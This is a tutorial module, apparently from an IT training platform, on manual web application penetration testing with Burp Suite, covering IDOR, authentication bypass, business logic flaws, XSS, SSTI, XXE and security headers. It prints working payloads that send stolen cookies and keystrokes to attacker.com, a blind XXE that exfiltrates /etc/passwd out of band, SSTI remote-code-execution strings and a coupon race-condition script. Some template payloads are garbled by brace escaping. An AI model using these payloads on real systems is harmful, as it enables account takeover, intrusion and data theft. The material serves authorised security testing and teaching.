Python · SQL · Web Dev · Java · AI/ML tracks launching soon — your one platform for all of IT

Web Application Pentesting — Manual Testing Methodology

Burp Suite as your proxy, systematic OWASP Top 10 manual testing, authentication bypass, IDOR, business logic vulnerabilities, and the techniques automated scanners consistently miss.

36 min May 2026

Automated web application scanners (ZAP, Nikto, Burp Scanner) find pattern-matching vulnerabilities: known XSS payloads, detectable SQL injection, common misconfigurations. They consistently miss business logic vulnerabilities — the flaws that arise from how an application is supposed to work, not from broken code patterns.

Can a user buy a product with a negative quantity and receive a refund? Can they access another user's invoice by incrementing an ID? Can they skip Step 3 of a multi-step checkout process by POSTing directly to the completion endpoint? No scanner tests for these because no scanner understands the application's intent. That is where manual testing earns its day rate.

💡 Note
Web application penetration testing requires explicit authorisation. All techniques here are used in professional engagements with a signed Rules of Engagement document.

Burp Suite — Your Primary Web Testing Proxy

Burp Suite is the industry-standard web application testing platform. The Community edition is free and sufficient for most manual testing; the Professional edition ($449/year) adds the automated scanner, Collaborator server, and advanced fuzzing tools. Every professional web pentester uses Burp as their primary tool.

Burp Suite core workflow:

1. CONFIGURE BROWSER PROXY
   Burp Proxy → Options → 127.0.0.1:8080
   Install Burp's CA certificate in browser (allows TLS interception)
   Firefox: Preferences → Network Settings → Manual proxy → 127.0.0.1:8080

2. PROXY TAB — intercept and inspect every request
   - Forward: send request as-is
   - Drop: discard the request
   - Edit fields before forwarding: modify headers, parameters, body
   - "Intercept is on/off": toggle to walk through the application normally first

3. HTTP HISTORY — review all requests made
   - Filter by scope (right-click → Add to scope)
   - Right-click any request → Send to Repeater / Intruder / Scanner

4. REPEATER — manually replay and modify requests
   - Send a request, modify one parameter at a time
   - Most important tab for manual testing
   - Ctrl+Shift+R to send selected request to Repeater

5. INTRUDER — automated payload injection
   - Select attack positions (§ markers)
   - Attack types:
     Sniper:   one position, iterate through all payloads
     Battering ram: all positions get same payload simultaneously
     Pitchfork: parallel payload lists (usernames + passwords)
     Cluster bomb: cartesian product (all combos)
   - Payloads: wordlists, numbers (for IDOR), custom lists
   - Community edition: throttled to 1 req/sec (Pro: unlimited)

6. TARGET → SITE MAP — full crawled structure
   - See all discovered endpoints
   - Right-click domains → "Spider this host"
   - Issue filtering: shows vulnerability findings

7. DECODER — encode/decode any value
   - URL, HTML, Base64, hex, gzip, Zlib
   - Multi-layer decode: base64 → URL → HTML in sequence

8. COMPARER — diff two requests or responses
   - Useful for identifying which change in a request caused different behaviour

9. EXTENSIONS — enhance capabilities
   - Autorize: IDOR/BOLA testing automation
   - Active Scan++ (Pro): extended scan checks
   - JWT Editor: JWT attack tooling
   - Param Miner: discover hidden parameters
   - Retire.js: detect vulnerable JavaScript libraries

Systematic Web Application Testing Methodology

Professional web application testing follows a structured checklist to ensure nothing is missed. The order matters: understand the application before attacking it.

Web Application Testing Methodology

PHASE 1: APPLICATION MAPPING (1–2 hours)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
□ Browse the entire application with Burp intercept off
  → Understand what the app does, who the users are, what is valuable
□ Identify all input points: forms, URL params, headers, cookies, file uploads
□ Map all API endpoints (check JS files for undocumented endpoints)
□ Note authentication mechanism: session cookies? JWT? API keys?
□ Identify user roles: anonymous, user, admin, superadmin
□ Review client-side JavaScript for:
  - Hidden parameters, undocumented endpoints
  - API keys, tokens, internal URLs in source
  - Client-side validation logic (often bypassed server-side)

PHASE 2: AUTHENTICATION TESTING
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
□ Username enumeration: different error messages for valid/invalid users?
□ Password policy: minimum length, complexity, lockout threshold
□ Account lockout: does it lock after N failed attempts? Can it be bypassed?
□ Default credentials (admin:admin, test:test)
□ Password reset flow: predictable token? Token reuse? Email oracle?
□ "Remember me" token: is it persistent, secure, bound to device/IP?
□ Multi-factor authentication: can it be skipped by direct URL navigation?
□ OAuth/SSO: state parameter present? Redirect URI validation?

PHASE 3: AUTHORISATION TESTING (most impactful category)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
□ IDOR testing: replace IDs in requests with other users' IDs
□ Horizontal privilege escalation: can UserA access UserB's resources?
□ Vertical privilege escalation: can a user access admin functions?
□ Function-level access control: test all API endpoints as each role
□ HTTP method testing: does GET vs POST vs PUT change access control?
□ Mass assignment: can extra fields (role, isAdmin) be set in POST body?

PHASE 4: INJECTION TESTING
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
□ SQL injection: every parameter, headers, cookies
□ Command injection: parameters used in system calls
□ SSTI (Server-Side Template Injection): {{'{'}}{{'}'}} test in all params
□ SSRF: URL parameters, webhook URLs, import functions
□ XXE: XML input, upload parsers, SOAP endpoints
□ LDAP injection: login forms using LDAP
□ Header injection: Host, X-Forwarded-For, Referer, User-Agent

PHASE 5: BUSINESS LOGIC
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
□ Workflow bypass: skip steps in multi-step processes
□ Price manipulation: negative quantities, zero prices, currency confusion
□ Race conditions: simultaneous requests to use a coupon twice
□ Replay attacks: can completed transactions be replayed?
□ Limit bypass: exceed rate limits, quantity limits, file size limits

PHASE 6: MISCELLANEOUS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
□ XSS: reflected, stored, DOM-based in all input fields
□ CSRF: are state-changing actions protected by CSRF tokens?
□ Clickjacking: X-Frame-Options or CSP frame-ancestors?
□ Security headers: CSP, HSTS, X-Content-Type-Options, Referrer-Policy
□ TLS: version, cipher suites, certificate validity
□ Sensitive data exposure: credentials in responses, verbose errors

IDOR — Insecure Direct Object Reference

IDOR is consistently one of the highest-paying bug bounty vulnerability classes and one of the most common findings in professional assessments. It occurs when an application uses user-supplied input to access objects (records, files, accounts) without verifying the requesting user is authorised to access that specific object.

# Classic IDOR — numeric ID in URL parameter
GET /api/invoices/1042        → my invoice (logged in as user 1042)
GET /api/invoices/1043        → another user's invoice (IDOR!)
GET /api/invoices/1           → first invoice ever created (admin?)

# Testing IDOR systematically with Burp Intruder:
# 1. Find a request with a numeric or predictable ID
# 2. Send to Intruder → mark the ID as a payload position
# 3. Payload type: Numbers (1 to 10000, step 1)
# 4. Add grep match: your own user's email or a unique field
# 5. Review 200 responses that do NOT contain your data → other users' data

# IDOR in path parameters:
GET /users/1042/profile
GET /documents/private/1042.pdf

# IDOR in POST body:
POST /api/transfer
{"from_account": 1042, "to_account": 9999, "amount": 500}
# Change from_account to another user's account → unauthorised transfer

# IDOR with GUIDs — UUIDs look unguessable but may be sequential or enumerable
GET /api/reports/550e8400-e29b-41d4-a716-446655440000
# Try: find GUIDs in other responses, HTML source, emails
# UUIDv1 encodes timestamp → can be enumerated

# Indirect IDOR — through associated objects
GET /api/orders/1042/items    → returns items for order 1042
# If order 1042 belongs to another user → exposed through related object

# IDOR in file download:
GET /download?file=user_1042_export.csv
# Try: user_1043_export.csv, ../../../etc/passwd (also path traversal)

# Autorize extension — automated IDOR testing
# Install in Burp → configure with two sessions (admin and low-priv user)
# Autorize replays every request as the low-priv user and flags if response == 200
# Saves enormous time on large applications
Pro tip: The most impactful IDORs are in high-value objects: financial records, PII, authentication tokens, admin functions. Spend time mapping what objects exist in the application before starting enumeration — a financial transfer endpoint with IDOR is worth more investigation time than a preference settings endpoint.

Authentication Bypass Techniques

Authentication failures are the second most common category in professional assessments after authorisation issues. Testing goes beyond "try common passwords" — it systematically probes every aspect of the auth flow.

# Username enumeration — different responses for valid/invalid usernames
# Test with Burp Intruder against /login:
# Valid user:   "Invalid password" (200 response, 823 bytes)
# Invalid user: "User not found" (200 response, 797 bytes)
# → Enumerate valid usernames by response length/message difference

# Password reset flow attacks:

# 1. Host header injection → hijack reset link
POST /reset-password
Host: attacker.com           ← inject attacker's domain
Content-Type: application/json
{"email": "victim@target.com"}
# Vulnerable app sends: "Click here to reset: https://attacker.com/reset?token=xxx"

# 2. Predictable reset tokens
# Try requesting reset, inspecting token format:
# Token: 1714900000 → Unix timestamp? Try timestamp ± 5 seconds
# Token: abc123xyz → MD5 of email + timestamp? Generate possibilities
# Base64-decoded token: {"email":"user@corp.com","ts":1714900000}

# 3. Token reuse — can the same reset token be used twice?
# 4. Long-lived tokens — do tokens expire after use or time?
# 5. Email oracle — does the response differ for registered vs unknown email?

# MFA bypass:

# Direct endpoint navigation:
# POST /mfa-verify → skip entirely, navigate directly to /dashboard
# Does the application check MFA completion in session?

# MFA code brute force:
# 6-digit TOTP = 1,000,000 possibilities → try rate limiting
# Burp Intruder: payload type Numbers 000000–999999
# Check for lockout: does account lock after N wrong MFA attempts?

# Response manipulation — Burp Proxy:
# 1. Enter wrong MFA code
# 2. Intercept response
# 3. Change "success": false → "success": true  (or 403 → 200)
# If frontend-only check: authenticated!

# JWT manipulation (covered in Module 19):
# - alg:none attack
# - Algorithm confusion RS256 → HS256
# - Weak secret brute force (john the ripper, hashcat)

# Session fixation:
# 1. Note session ID before login: PHPSESSID=abc123
# 2. Log in with credentials
# 3. Check if PHPSESSID is still abc123 after login
# If yes: set victim's session cookie to abc123 before they log in → you get their session

Business Logic Vulnerabilities

Business logic flaws require understanding what the application is supposed to do, then finding ways to make it do something else. These are the vulnerabilities that make bug bounty hunters rich and that professional pentesters find on almost every engagement.

# ━━ PRICE AND QUANTITY MANIPULATION ━━━━━━━━━━━━━━━━━━━

# Can quantities be negative?
POST /api/cart/add
{"product_id": 123, "quantity": -1}
# If the checkout total is price * quantity: negative purchase = credit to account

# Can prices be tampered with in the request?
POST /api/checkout
{"items": [{"id": 123, "price": 0.01, "qty": 1}]}
# Vulnerable apps trust client-supplied price

# Integer overflow:
{"quantity": 2147483648}    # INT_MAX + 1 → wraps to negative on some systems

# Currency manipulation:
{"amount": 10, "currency": "VND"}  # Vietnamese dong → $0.00045


# ━━ WORKFLOW BYPASS ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

# Multi-step checkout: Step 1 → Step 2 → Step 3 (payment) → Step 4 (confirm)
# Try POST /api/checkout/confirm without completing payment step
# Application may check only "did they start checkout?" not "did they pay?"

# Password change flow:
# Typical: enter current password → enter new password → confirm
# Bypass: POST /api/account/password without currentPassword field
# Does the app enforce current password check server-side?

# Free trial bypass:
# Trial endpoint: POST /api/trial/activate
# Check: does it verify account hasn't had a trial before?
# Try with freshly registered account vs. trial-expired account


# ━━ RACE CONDITIONS ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

# Discount code single-use bypass:
# Send 50 simultaneous requests to apply the same coupon:
# Python:
import asyncio, aiohttp

async def apply_coupon(session, code):
    return await session.post('/api/coupon', json={"code": code})

async def race():
    async with aiohttp.ClientSession() as s:
        tasks = [apply_coupon(s, "SAVE50") for _ in range(50)]
        results = await asyncio.gather(*tasks)

asyncio.run(race())
# If not using DB transactions: multiple requests succeed before the "used" flag is set

# Burp Suite Turbo Intruder (Pro) — send requests in precise parallel timing
# Script: race_single_packet_attack.py in Turbo Intruder examples


# ━━ PARAMETER POLLUTION ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

# Duplicate parameters — different frameworks use different ones
GET /transfer?amount=100&to=alice&to=bob
# PHP:     uses last (bob)
# Node.js: uses first (alice) or array
# ASP.NET: concatenates "alice,bob"

# Mass assignment — send extra fields
POST /api/users/register
{"username":"hacker","password":"pass","role":"admin","isVerified":true}
# Framework auto-maps request body to model — extra fields get set

Cross-Site Scripting (XSS) — Finding and Exploiting

XSS allows injecting JavaScript into a web page viewed by other users. The impact ranges from session hijacking (steal cookies → impersonate user) to keylogging, phishing overlays, and cryptocurrency mining. Modern browsers and frameworks have reduced XSS significantly, but it remains prevalent in legacy applications and custom JavaScript.

# XSS test payload — start here on every input field
<script>alert(1)</script>
# If blocked, try variations:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(1)</script>
';alert(1)//
`-alert(1)-`
<details open ontoggle=alert(1)>

# Context matters — where does your input land in the HTML?

# 1. HTML body context:
<div>YOUR INPUT HERE</div>
# Payload: <script>alert(1)</script> or <img src=x onerror=alert(1)>

# 2. Attribute context:
<input value="YOUR INPUT HERE">
# Payload: " onmouseover="alert(1) or "><img src=x onerror=alert(1)>

# 3. JavaScript string context:
<script>var x = "YOUR INPUT HERE";</script>
# Payload: "; alert(1); //  or "; alert(1); //

# 4. JavaScript URL context:
<a href="javascript:YOUR INPUT HERE">
# Payload: alert(1)

# 5. DOM-based XSS — source and sink analysis:
# Source: location.hash, document.referrer, window.name, URLSearchParams
# Sink: document.write(), innerHTML, eval(), setTimeout(string), location.href
# Check JS files for: document.write(location.hash), innerHTML = url_param

# Impact escalation beyond alert(1):

# Session cookie theft (requires HttpOnly NOT set):
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

# Keylogger:
<script>document.addEventListener('keypress',e=>fetch('https://attacker.com/?k='+e.key))</script>

# XSS to account takeover via password change:
<script>
  fetch('/api/account/password', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({newPassword: 'hacked123'})
  })
</script>

# BeEF (Browser Exploitation Framework) — comprehensive XSS platform
# Hooks browsers, enables network scanning from victim, phishing, webcam access

Stored XSS (payload is saved in the database and served to every user) is higher severity than reflected XSS (payload is in the URL, requires the victim to click a link). DOM-based XSS is often missed by automated scanners because the vulnerability lives in JavaScript execution, not server-generated HTML.


Server-Side Template Injection (SSTI)

SSTI occurs when user input is embedded directly into a server-side template without sanitisation. Template engines (Jinja2, Twig, Freemarker, Velocity) have powerful expression languages — when your input is evaluated as template code, you get remote code execution.

# Detection payload — trigger template evaluation:
{{'{'}}{7*7{'}'}}
# If rendered as "49" rather than "{{7*7}}" → SSTI confirmed
# Different frameworks:
{7*7{'}'}          → 49 (Freemarker, Thymeleaf, Spring EL)
{{'{'}}{'{'}}7*7{'}'}{{'}'}}       → 49 (Jinja2, Twig)
<%= 7*7 %>    → 49 (ERB — Ruby)
#{'{'}7*7{'}'}         → 49 (Smarty)

# Identify the template engine:
{{'{'}}{'{'}}7*'7'{{'}'}}{'}'}}     → 49 (Jinja2)
{{'{'}}{'{'}}7*'7'{{'}'}}{'}'}}     → 7777777 (Twig)

# Jinja2 RCE (Python):
{{'{'}}{'{'}} ''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('id').read() {'}'}{{'}'}}
# More practical:
{{'{'}}{'{'}} request.application.__globals__.__builtins__.__import__('os').popen('id').read() {'}'}{{'}'}}

# Twig RCE (PHP):
{{'{'}}{'{'}} ''.__class__.__base__.__subclasses__() {'}'}{{'}'}}    # list classes
{{'{'}}{7*7{'}'}}                                   # math → 49

# Freemarker RCE (Java):
{"freemarker.template.utility.Execute"?new()("id"){'}'}

# Finding SSTI — test in:
# - Name fields (profile name in greeting: "Hello {{name}}")
# - Search fields
# - Error pages that reflect input
# - Template preview features (invoice templates, email templates)
# - URL path components if routed to template

XXE — XML External Entity Injection

XXE abuses XML parsers that process external entity declarations — allowing attackers to read local files, perform SSRF, and in some configurations achieve RCE.

# Basic XXE — read /etc/passwd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>

# XXE SSRF — fetch internal service
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root><data>&xxe;</data></root>

# Blind XXE — when response doesn't reflect entity content
# Send data to your server via a parameter entity:
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
# evil.dtd hosted on attacker.com:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % out "<!ENTITY &#37; send SYSTEM 'http://attacker.com/?data=%file;'>">
%out;
%send;

# Where to find XXE:
# - XML-based APIs (Content-Type: application/xml)
# - SOAP web services
# - File upload parsers: .docx, .xlsx, .svg, .pdf parsers often vulnerable
#   (these are ZIP files containing XML — inject into the XML components)
# - SVG image upload:
<svg xmlns="http://www.w3.org/2000/svg">
  <image href="file:///etc/passwd"/>
</svg>

Security Headers — Quick Assessment

Missing or misconfigured security headers are informational/medium findings but they indicate a team not following security best practices. Always check them — they take five minutes to assess and consistently appear in reports.

# Check security headers with curl:
curl -I https://target.com

# Headers to verify:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
# Missing or max-age too short: HSTS bypass risk

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-...'
# Missing: XSS is easier to exploit (no mitigating controls)
# Weak: script-src * or unsafe-inline present

X-Content-Type-Options: nosniff
# Missing: MIME-type sniffing attacks possible

X-Frame-Options: DENY
# Or CSP: frame-ancestors 'none'
# Missing: clickjacking attacks possible

Referrer-Policy: strict-origin-when-cross-origin
# Missing: URL parameters leak to third-party sites via Referer header

Permissions-Policy: camera=(), microphone=(), geolocation=()
# Missing: embedded content can access browser APIs

# Tool: SecurityHeaders.com — grade the headers for any domain
# Tool: Mozilla Observatory — comprehensive header + TLS check

Interview Questions — Web Application Pentesting

Q: How do you test for IDOR and what constitutes a valid IDOR finding?
IDOR testing starts with identifying all requests that reference object identifiers — numeric IDs in URLs, GUIDs in API responses, filenames in download endpoints. With two accounts (a test account and a victim account), I intercept requests made by the test account and replace identifiers with those belonging to the victim account. If the server returns the victim's data rather than an authorisation error, that is a confirmed IDOR. A valid IDOR finding requires: the exact HTTP request demonstrating the access, the identifier substituted, and evidence of what data is exposed. The severity depends on the data accessed — IDOR on financial records or PII is critical; IDOR on a preference setting is low. Automated tools like Autorize can speed this up on large applications.
Q: What is Server-Side Template Injection and how is it different from XSS?
SSTI occurs when user input is interpreted by a server-side template engine as template code rather than data. The input executes on the server in the context of the template engine's expression language, which typically provides access to Python/PHP/Java objects — leading to remote code execution. XSS occurs when user input is rendered as HTML or JavaScript in a victim's browser — execution is on the client side, in the browser sandbox. SSTI is generally more severe than XSS because server-side execution has access to the file system, environment variables, and other server resources, while XSS is bounded by what the browser sandbox allows.
Q: A web application has a password reset feature. What do you test?
Six tests in order: (1) Email oracle — does the response differ for registered vs unregistered emails, allowing username enumeration? (2) Token analysis — is the reset token truly random, or is it based on a timestamp, username hash, or other predictable value? (3) Token expiry — do tokens expire after use and after a reasonable time window? (4) Token reuse — can the same reset link be used multiple times? (5) Host header injection — does the application use the Host header to construct the reset link? If so, supplying an attacker-controlled Host header redirects the link to the attacker's domain. (6) Password change without token — can the password be changed directly by POST to the change endpoint without the reset token?
Q: You find a reflected XSS on a low-traffic internal admin page. What is the actual risk?
Reflected XSS requires social engineering: an attacker crafts a URL with the payload and convinces a victim to click it. On a public page, this is moderately exploitable. On an internal admin page, the victim pool is administrators — which makes it more valuable, not less. If an attacker can trick an admin into clicking a crafted URL (e.g., via a phishing email or support ticket), the XSS runs in the admin's browser with admin-level session cookies and admin-level API access. The attacker can use the XSS to steal the admin's session token, extract data from admin-only endpoints, or perform admin actions. The rating should reflect the admin context: this is likely a medium-to-high finding, not a low.
Q: Explain the difference between reflected, stored, and DOM-based XSS.
Reflected XSS: the payload is in the HTTP request (URL parameter, form field) and the server immediately reflects it in the response without storing it. Requires the victim to click a crafted URL. Stored XSS: the payload is stored server-side (database, log file, comment) and served to every user who views the affected page — no social engineering required per victim. Higher severity because it affects all visitors. DOM-based XSS: the vulnerability exists entirely in client-side JavaScript. The server response is benign, but the JavaScript reads data from an attacker-controlled source (URL fragment, postMessage) and writes it to a dangerous sink (innerHTML, eval, document.write) without sanitisation. DOM XSS is often missed by server-side scanners because the server never processes the payload.

Common Mistakes — Web Application Pentesting

Testing only authenticated as a single user role
Why it happens: Testing the application as an admin reveals different vulnerabilities than testing as a regular user. IDORs in admin functions, vertical privilege escalation paths, and admin-only injections are missed when testing only as a regular user.
Fix: Create test accounts for every role: anonymous (not logged in), basic user, privileged user, and administrator. Test each critical function as each role and compare responses. Authorise and Autorize Burp extensions automate response comparison across roles.
Missing DOM-based XSS because only testing reflected and stored
Why it happens: DOM XSS exists in client-side JavaScript. Server-side scanners and manual testing focused on HTTP responses miss it entirely because the server never processes the payload.
Fix: Review JavaScript source files for dangerous sinks: document.write(), innerHTML, eval(), location.href, window.open(). Trace data from sources (location.hash, document.referrer, URLSearchParams) to sinks. Use DOM Invader (Burp Pro) or taint analysis extensions to automate source-to-sink tracing.
Stopping after alert(1) for XSS proof
Why it happens: alert(1) proves the vulnerability exists but does not demonstrate actual impact. Clients sometimes deprioritise XSS as 'just a pop-up'.
Fix: Escalate XSS to demonstrate real impact: show cookie theft (fetch to external server with document.cookie), account takeover via password change API call, or keylogging. A proof of concept that says 'with this XSS, an attacker could take over any user account who clicks this URL' is far more compelling than a popup.
Ignoring the application's own JavaScript files
Why it happens: Client-side JavaScript often contains API endpoints not documented elsewhere, internal hostnames, API keys, access control logic that can be bypassed, and source maps revealing the original TypeScript source.
Fix: Always download and search all JS files: grep for 'api', 'key', 'secret', 'token', 'admin', 'internal', 'localhost'. Use LinkFinder to extract all URLs and endpoints from JS files. Check for source maps (.js.map files) which reveal unminified source code.
Not testing the API alongside the web application
Why it happens: Modern web apps have a frontend and a separate API backend. Testers test the web frontend but miss the API endpoints — which often have weaker security controls, different authentication, or expose more data.
Fix: Monitor Burp history while using the application to capture all API calls. Look for /api/, /v1/, /v2/, /graphql/ endpoints. Test these API endpoints directly with modified requests, not just through the UI. API endpoints frequently have the same vulnerabilities with less visible error handling.

🎯 Key Takeaways

  • Burp Suite is the indispensable web application testing proxy. Master the Repeater for manual testing, Intruder for automated payload injection, and the Proxy history for reviewing all requests.
  • IDOR is consistently one of the most impactful and common web vulnerabilities. Test by replacing object identifiers in requests with those belonging to other users — verify server-side authorisation, not just frontend control.
  • Business logic vulnerabilities require understanding application intent: negative quantities, workflow bypass, race conditions on single-use resources, and price manipulation are never found by automated scanners.
  • XSS impact depends on context: stored XSS affects all visitors, reflected XSS requires victim to click, DOM-based XSS exists entirely in client-side JavaScript. Escalate beyond alert(1) to demonstrate session hijacking.
  • SSTI is remote code execution on the server. Test with {{"{"}}{7*7{"}"}} — if it renders as 49, investigate the template engine and exploit path immediately.
  • XXE targets XML parsers — upload endpoints for .docx, .xlsx, and .svg files are frequently vulnerable even when direct XML input is locked down.
  • Authentication testing goes beyond password guessing: test the password reset flow, token predictability, MFA bypass via direct navigation, response manipulation, and session fixation.
  • Security header assessment takes five minutes and consistently produces findings. Check for HSTS, CSP, X-Content-Type-Options, X-Frame-Options, and Referrer-Policy.
  • Test as every user role: anonymous, regular user, premium user, administrator. Vertical privilege escalation (user accessing admin functions) is only found by testing as a low-privilege user.
  • Map the entire application before testing. Understand what it does, who the user types are, what is valuable — then systematically test each category rather than jumping to injection tests immediately.

💡 Note
You have a foothold and understand web vulnerabilities deeply. In Module 26: Post-Exploitation, you demonstrate impact: privilege escalation techniques, credential harvesting, lateral movement, and how to prove an attacker could reach the crown jewels — all with the documentation discipline that makes the difference between a good pentest and a great one.
Share

Discussion

0

Have a better approach? Found something outdated? Share it — your knowledge helps everyone learning here.

Continue with GitHub
Loading...